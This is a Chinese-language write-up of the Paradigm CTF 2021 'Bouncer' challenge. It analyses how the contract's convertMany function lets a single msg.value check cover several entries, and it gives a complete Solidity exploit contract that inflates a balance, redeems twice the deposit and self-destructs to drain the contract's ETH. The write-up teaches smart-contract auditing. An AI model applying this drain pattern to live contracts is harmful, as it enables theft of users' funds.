本文是Paradigm CTF的Bouncer系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。
本文是Paradigm CTF的Bouncer系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。
本文都是基于https://cmichel.io/paradigm-ctf-2021-solutions/这篇文章进行的分析,如有需要可以参考原文。
目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 🐟 。如果你觉得我写的还不错,可以加我的微信:woodward1993
首先是分析下合约Bouncer的资金流入流出表
方法名 | 资金流向 | 要求 | 状态 |
---|---|---|---|
$enter(address,uint256)$ | TOKENÐ流入 | $msg.value = entryFee$ | new Entry(amount,time,token) |
$convertMany(address,uint256[])$ | NA | entry.token+=amount |
|
contributions(address,address[]) |
|||
convert(address,uint256) |
NA | $\mathtt{1}. block.timestamp > entry.tiemstamp\\mathtt{2}.token.allowance = uint(-1)\\mathtt{3}.msg.sender = delegate[who] $ | entry.token += amount |
redeem(ERC20Like,uint256) |
TOKENÐ流出 | $tokens[msg.sender][address(token)] > amount$ | tokens[msg.sender][token] -= amount |
proofOfOwnership(ERC20Like,address,uint256) |
TOKENÐ流入 | $msg.value = amount$ | |
addDelegate(address,address) |
NA | $msg.sender = owner\ msg.sender = from$ | delegates[from] = to |
removeDelegate(address) |
NA | $msg.sender = owner\ msg.sender = from$ | delete delegates[from] |
claimFees() |
ETH流出 | $msg.sender = owner$ | |
hatch(address,bytes) |
NA | $msg.sender = owner$ | delegatecall |
再看下题目要求:
function isSolved() public view returns (bool) {
return address(bouncer).balance == 0;
}
题目要求是拿走Bouncer合约的所有ETH,故我们关注下ETH流出函数:claimFees和redeem
,由于claimFees
要求是owner,我们可以先看下redeem
// redeem your tokens for their underlying erc20
function redeem(ERC20Like token, uint256 amount) public {
tokens[msg.sender][address(token)] -= amount;
payout(token, msg.sender, amount);
}
看起来可以直接调用redeem函数,他就会直接将ETH转账给我们,但实际上它有一个隐含要求:由于是solidity 0.8.0, 其加减乘除法都实现了openzepplin的safemath库,故此函数的实际要求是:
// redeem your tokens for their underlying erc20
function redeem(ERC20Like token, uint256 amount) public {
require(tokens[msg.sender][address(token)] > amount);
tokens[msg.sender][address(token)] -= amount;
payout(token, msg.sender, amount);
}
正常的工作流程是:
enter(ETH,1 ether)
-- new Entry{amount=1 ether, time=now, token=ETH}
convert(user, id)
-- 拿到entry = entries[user][id]
-- 进行convert里面的三个验证:timestamp, allowance, msg.sender=user
--> proofOfOwnership(token,user,amount)
--验证 msg.value == amount
-- token[user][token] += amount
redeem(token, amount)
-- token[user][token] > amount
--> payout(token,msg.sender,amount)
正常流程中,应该是每一次convert都需要验证msg.value==amount。但是如果改成convertmany,则只需要一次满足即可,其流程变为:
enter(ETH, x ether) <msg.value=1 ether>
enter(ETH, x ether) <msg.value=1 ether>
convertmany(user, ids) <msg.value=x ether>
--> convert(user, ids[0])
--> proofOfOwnership(token, user, amount)
-- require(msg.value == amount) 满足
<token[user][ETH] = x>
--> convert(user, ids[1])
--> proofOfOwnership(token, user, amount)
-- require(msg.value == amount) 满足
<token[user][ETH] = 2x>
redeem(ETH, 2x ether)
--> payout(ETH, msg.sender, 2x ether)
我们期望的结果是:
out: 2x
in: x + 1 + 1
reserve: 50 + 1 + 1
=> out = in + reserve
=> 2x = x + 2 + 52
x = 54
故我们的破解合约为:
pragma solidity 0.8.0;
import "./Setup.sol";
import "hardhat/console.sol";
contract Hack {
Bouncer public bouncer;
address public ETH;
uint public target_amount;
constructor(address _setup) public payable {
bouncer = Bouncer(Setup(_setup).bouncer());
console.log("bouncer is %s", address(bouncer));
ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
// 拿到bouncer合约的所有ETH余额值
uint256 _amount = address(bouncer).balance;
console.log("bouncer.balance %s",_amount);
// 目标数量
target_amount = _amount + 2 ether;
console.log("target_amount %s", target_amount);
// 往Bouncer里存一个数量
}
function pre_go() public payable {
bouncer.enter{value: 1 ether}(address(ETH), target_amount);
bouncer.enter{value: 1 ether}(address(ETH), target_amount);
}
function go() public payable {
// 执行上述逻辑
// 执行convertmany
uint256[] memory ids = new uint256[](2);
ids[0] = 0;
ids[1] = 1;
bouncer.convertMany{value: target_amount}(address(this), ids);
console.log("tokens[msg.sender][ETH] = %s", bouncer.tokens(msg.sender,ETH));
// 执行redeem
bouncer.redeem(ERC20Like(ETH), 2*target_amount);
console.log("tokens[msg.sender][ETH] = %s", bouncer.tokens(msg.sender,ETH));
// 判断并自毁
require(address(this).balance >= 2*target_amount, "balance not enough");
selfdestruct(payable(address(tx.origin)));
}
receive() external payable{}
}
写合约的时候,注意一点:
由于convert有一个timestamp的要求,故enter和convertMany不能再同一个块中。所以需要拆成两个函数。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!